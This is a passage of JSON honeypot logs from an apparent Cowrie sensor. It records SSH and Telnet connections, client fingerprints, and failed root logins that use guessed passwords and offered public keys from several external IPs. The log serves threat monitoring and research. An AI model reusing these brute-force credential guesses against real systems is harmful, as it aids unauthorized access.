ha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:02.724835Z","src_ip":"43.156.97.164","session":"faeb3d804803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.83804512023926,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:03.255178Z","src_ip":"192.119.13.58","session":"54f4ec90e7a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:03.724074Z","src_ip":"43.156.97.164","session":"faeb3d804803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4338968d85","protocol":"telnet","message":"New connection: 192.119.13.58:34312 (10.17.0.5:23) [session: ea4338968d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:04.795552Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:04.967454Z","src_ip":"43.156.97.164","session":"faeb3d804803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d93b3367c0","protocol":"ssh","message":"New connection: 87.251.79.125:52830 (10.17.0.5:22) [session: 46d93b3367c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:10.374480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:10.379235Z","src_ip":"87.251.79.125","session":"46d93b3367c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:10.452932Z","src_ip":"87.251.79.125","session":"46d93b3367c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:10.679753Z","src_ip":"87.251.79.125","session":"46d93b3367c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33624,"dst_ip":"10.17.0.5","dst_port":23,"session":"6206459cb01d","protocol":"telnet","message":"New connection: 192.119.13.58:33624 (10.17.0.5:23) [session: 6206459cb01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:11.728117Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:11.757219Z","src_ip":"87.251.79.125","session":"46d93b3367c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.909457206726074,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:12.684211Z","src_ip":"192.119.13.58","session":"98245c0ac135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41394,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab66f31ec7f4","protocol":"telnet","message":"New connection: 192.119.13.58:41394 (10.17.0.5:23) [session: ab66f31ec7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:13.667858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"23da0695a0ee","protocol":"telnet","message":"New connection: 192.119.13.58:44704 (10.17.0.5:23) [session: 23da0695a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:14.492723Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8d08f35d042","protocol":"telnet","message":"New connection: 192.119.13.58:52382 (10.17.0.5:23) [session: e8d08f35d042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:16.431590Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36840,"dst_ip":"10.17.0.5","dst_port":23,"session":"63507f13262e","protocol":"telnet","message":"New connection: 192.119.13.58:36840 (10.17.0.5:23) [session: 63507f13262e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:19.728979Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":55222,"dst_ip":"159.203.135.109","dst_port":22,"session":"0278f400fc1d","protocol":"ssh","message":"New connection: 41.242.115.83:55222 (159.203.135.109:22) [session: 0278f400fc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:28.779957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:28.784403Z","src_ip":"41.242.115.83","session":"0278f400fc1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:28.988384Z","src_ip":"41.242.115.83","session":"0278f400fc1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clayton","message":"login attempt [root/clayton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:29.835104Z","src_ip":"41.242.115.83","session":"0278f400fc1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:31.042358Z","src_ip":"41.242.115.83","session":"0278f400fc1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.21.62","src_port":55628,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09c9177d8ce","protocol":"ssh","message":"New connection: 216.59.21.62:55628 (10.17.0.5:22) [session: e09c9177d8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.429841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.435847Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.462376Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:6a:f4:ee:1f:b6:f5:fe:80:02:a0:3a:e3:54:c9:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVGV+1Llf8GDCmKCFHyUGOgr6a/c/9RQrUa8lFnQ0Lr46njNOPe3rbfK4GE5h0PTJtHODsoZMI7ZKAddSPHCN4+Kw6V9afliAa7uiWHWv/7dZfQJiNq4EKaz6YivhMKx+V6Rrg2BpG4IS3WrVDlINVa+7bbIt39ti2lr5c7SGKEzFSgzxjDgRSnf3fLNsazttM6i22B7sEz42e3BSJ7jG2A/CPD/ZBjlmHoshp2lZY9nZYWT8k6etNh/ZUH5S8Y/Eyif1ThEh9ghfS7FsHFIXphH+K4+0UAjU8umhdFODFPruS9w0abjxFyI211MR4Wskr7IflVtYQfBZMXfuSHdpr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:6a:f4:ee:1f:b6:f5:fe:80:02:a0:3a:e3:54:c9:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.568814Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:6a:f4:ee:1f:b6:f5:fe:80:02:a0:3a:e3:54:c9:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVGV+1Llf8GDCmKCFHyUGOgr6a/c/9RQrUa8lFnQ0Lr46njNOPe3rbfK4GE5h0PTJtHODsoZMI7ZKAddSPHCN4+Kw6V9afliAa7uiWHWv/7dZfQJiNq4EKaz6YivhMKx+V6Rrg2BpG4IS3WrVDlINVa+7bbIt39ti2lr5c7SGKEzFSgzxjDgRSnf3fLNsazttM6i22B7sEz42e3BSJ7jG2A/CPD/ZBjlmHoshp2lZY9nZYWT8k6etNh/ZUH5S8Y/Eyif1ThEh9ghfS7FsHFIXphH+K4+0UAjU8umhdFODFPruS9w0abjxFyI211MR4Wskr7IflVtYQfBZMXfuSHdpr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.573615Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:d4:82:cb:e8:7b:06:81:a3:b7:82:9c:bf:11:6d:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5kFO1wP9M6cqpUyv9uxGFanETSUd69sax+fy83Y5uy/aMkb9x8BW4zHOCKnuwOLN/qHPaVcStFFHLkbH6DObZ7wAoONd43Pe+xW43IRM1eVaWTCd1DKI3dmrLgj+mb2dNduaiFYR3C/qybslLzcRIzKzeshrpqbLiSIcWx+xcG8ZUEiza3baKHx9ih5c9Mi8NVhdyK1FNpOOtvnx4SZwHun5E99r+pXHcAeb2/zwJJXfxe3QZfvypYIJlEihy0hB0DNbSwPj9txsLc24F4jsoy+nEQ32he7qwe0rYNQvz/LSTeB00VHWcBTwb1DHo0g4xFsD5Ts+QCorAbntXxANh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:d4:82:cb:e8:7b:06:81:a3:b7:82:9c:bf:11:6d:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.600921Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:d4:82:cb:e8:7b:06:81:a3:b7:82:9c:bf:11:6d:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5kFO1wP9M6cqpUyv9uxGFanETSUd69sax+fy83Y5uy/aMkb9x8BW4zHOCKnuwOLN/qHPaVcStFFHLkbH6DObZ7wAoONd43Pe+xW43IRM1eVaWTCd1DKI3dmrLgj+mb2dNduaiFYR3C/qybslLzcRIzKzeshrpqbLiSIcWx+xcG8ZUEiza3baKHx9ih5c9Mi8NVhdyK1FNpOOtvnx4SZwHun5E99r+pXHcAeb2/zwJJXfxe3QZfvypYIJlEihy0hB0DNbSwPj9txsLc24F4jsoy+nEQ32he7qwe0rYNQvz/LSTeB00VHWcBTwb1DHo0g4xFsD5Ts+QCorAbntXxANh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.604416Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:30:35:d8:a6:e6:50:00:17:95:bd:35:ad:57:3b:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAuGKqmhIYhhOPs0Rye3IIriWydstduc1+E9dx/Ko92WF0EFJD3PPcrsKdhrHjVBiCQOI4wtEY4RuCc7dZGoGlHKL8TPA/aj9NmLSm5BSF1KjTe4g/n3LBcxhPkpcP3yPm6QzHqIHSAYC/5MjfHzXtTnsUuZ5PRJqsUS+YP40Zqz0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:30:35:d8:a6:e6:50:00:17:95:bd:35:ad:57:3b:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.631788Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:30:35:d8:a6:e6:50:00:17:95:bd:35:ad:57:3b:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAuGKqmhIYhhOPs0Rye3IIriWydstduc1+E9dx/Ko92WF0EFJD3PPcrsKdhrHjVBiCQOI4wtEY4RuCc7dZGoGlHKL8TPA/aj9NmLSm5BSF1KjTe4g/n3LBcxhPkpcP3yPm6QzHqIHSAYC/5MjfHzXtTnsUuZ5PRJqsUS+YP40Zqz0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.638277Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:ff:ac:c5:62:da:24:3c:ed:a1:74:5f:90:c7:42:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmH8PK+6Xfi6SR1pbaNK2pz8Yq1DmNUFe6zS9zvUzb2ghwM5H8rBBVM4uj1hezV7lnJwc0f4rZaR4SX9AsDkaEAQ4Wz7cLjXZVidgnZXmPn7niiz/sTIW8mz3JtG+/vn+qCnzjFH5XQqQOYUJkRLzHbAiaNFdes+2qVdbZswMK5KM4R1gQoHbpl26vDpZL46n5fLEcsZTr2zAg0A3UuXofsbfXdnDZJxwN9CS83bgLKI8J1nVT9FDacOkK1fbZXFSx1APTwltjUaQA+NnOdnW8wOJ31QYQRdGpvbQEWbmMuksXxxW0Y8HeorZ+zLalQxnt6rgbC9rwGYGo8/iH8QLRxg9N0w9l68qu8hdlnMtSdUrGMbCKLZqmZLKZu3SexEhie07PXcvYmPTnfJzdPtr5GbujYy99+LeXUXADa4HHjttWId6S5IPVNv58//K675p25oK7EhH5ddIaNR1JaQ9kYUYagZ/s60oxBYsffIc9X20SOw/tZJFKhMC4STXS9OAbQlVSDEeWJX6FIQmHSJz89wSQyWx9UHRO0uhNSyibl3bFx+guljQ56DMRK77CQ8g1Snyrt9cyMmI5HHPL34h8g7qIDrtWEu2mPK1E3BadJ4eozy2BL3rWwcz+ODHRw7pj/iErchPpSaamXzmYSHwCYET0dOMcO3xdU62+I5EGdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:ff:ac:c5:62:da:24:3c:ed:a1:74:5f:90:c7:42:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.664602Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:ff:ac:c5:62:da:24:3c:ed:a1:74:5f:90:c7:42:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmH8PK+6Xfi6SR1pbaNK2pz8Yq1DmNUFe6zS9zvUzb2ghwM5H8rBBVM4uj1hezV7lnJwc0f4rZaR4SX9AsDkaEAQ4Wz7cLjXZVidgnZXmPn7niiz/sTIW8mz3JtG+/vn+qCnzjFH5XQqQOYUJkRLzHbAiaNFdes+2qVdbZswMK5KM4R1gQoHbpl26vDpZL46n5fLEcsZTr2zAg0A3UuXofsbfXdnDZJxwN9CS83bgLKI8J1nVT9FDacOkK1fbZXFSx1APTwltjUaQA+NnOdnW8wOJ31QYQRdGpvbQEWbmMuksXxxW0Y8HeorZ+zLalQxnt6rgbC9rwGYGo8/iH8QLRxg9N0w9l68qu8hdlnMtSdUrGMbCKLZqmZLKZu3SexEhie07PXcvYmPTnfJzdPtr5GbujYy99+LeXUXADa4HHjttWId6S5IPVNv58//K675p25oK7EhH5ddIaNR1JaQ9kYUYagZ/s60oxBYsffIc9X20SOw/tZJFKhMC4STXS9OAbQlVSDEeWJX6FIQmHSJz89wSQyWx9UHRO0uhNSyibl3bFx+guljQ56DMRK77CQ8g1Snyrt9cyMmI5HHPL34h8g7qIDrtWEu2mPK1E3BadJ4eozy2BL3rWwcz+ODHRw7pj/iErchPpSaamXzmYSHwCYET0dOMcO3xdU62+I5EGdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.669140Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:ad:b8:9a:72:6d:e8:dc:f8:61:e4:47:cb:00:c8:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPR2IyXioFN+RnWKrdFB7Dys7GSfJzhI/xw/gd7PLlxhgpK2PGLoxgV80byK/gY41xYl+c1m/UbZrYUGiq+vposzm68FLCnk3uJKIDyB2Y5uByRb2Bpb9GPj+7nL0UWPQSCZynhBArJsdAPdqzAu9e4O3+RHKMgpd+c0THX/lQGHAAAAFQD+OXrrH0UBrLYVIToJOHMzZoM70QAAAIAp9WWXG6NUntLXRqeZ8N/7kzjtbbqM1RYkVnM0SwpVe+b9qPvcKDkcJnpbMa0eCzQyS/SfRGERr7McuVkmV8/ONE6JsWmbzVFQzxl1EhFvA/XKF+2NONuntSSgZ2R4POoBsER0Lady0T8D3I/qKZeiVKoHGnzK/5lNBaquJBSDaQAAAIEA6JT7+Yhoh5GVm+6hq46mZ/CRI5XsvRtoOm3CQmpoia1VbKkRedRTJ/IDWQS8e4YcUX/fctkAdrH3R8W+LFzCNDsVnSjdCcr7CNG/l45WCzaoxwh1WbbKq7bBSoF76g2z+/NDmhCnav2zdlBMhtNL3LLEigMueXaovxCFtur+f8g=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d4:ad:b8:9a:72:6d:e8:dc:f8:61:e4:47:cb:00:c8:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.696367Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:ad:b8:9a:72:6d:e8:dc:f8:61:e4:47:cb:00:c8:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPR2IyXioFN+RnWKrdFB7Dys7GSfJzhI/xw/gd7PLlxhgpK2PGLoxgV80byK/gY41xYl+c1m/UbZrYUGiq+vposzm68FLCnk3uJKIDyB2Y5uByRb2Bpb9GPj+7nL0UWPQSCZynhBArJsdAPdqzAu9e4O3+RHKMgpd+c0THX/lQGHAAAAFQD+OXrrH0UBrLYVIToJOHMzZoM70QAAAIAp9WWXG6NUntLXRqeZ8N/7kzjtbbqM1RYkVnM0SwpVe+b9qPvcKDkcJnpbMa0eCzQyS/SfRGERr7McuVkmV8/ONE6JsWmbzVFQzxl1EhFvA/XKF+2NONuntSSgZ2R4POoBsER0Lady0T8D3I/qKZeiVKoHGnzK/5lNBaquJBSDaQAAAIEA6JT7+Yhoh5GVm+6hq46mZ/CRI5XsvRtoOm3CQmpoia1VbKkRedRTJ/IDWQS8e4YcUX/fctkAdrH3R8W+LFzCNDsVnSjdCcr7CNG/l45WCzaoxwh1WbbKq7bBSoF76g2z+/NDmhCnav2zdlBMhtNL3LLEigMueXaovxCFtur+f8g=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.700527Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:32.728746Z","src_ip":"216.59.21.62","session":"e09c9177d8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"b175f9995f5a","protocol":"telnet","message":"New connection: 192.119.13.58:37734 (10.17.0.5:23) [session: b175f9995f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:33.902802Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"9829f8350723","protocol":"telnet","message":"New connection: 192.119.13.58:58058 (10.17.0.5:23) [session: 9829f8350723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:40.340655Z"}
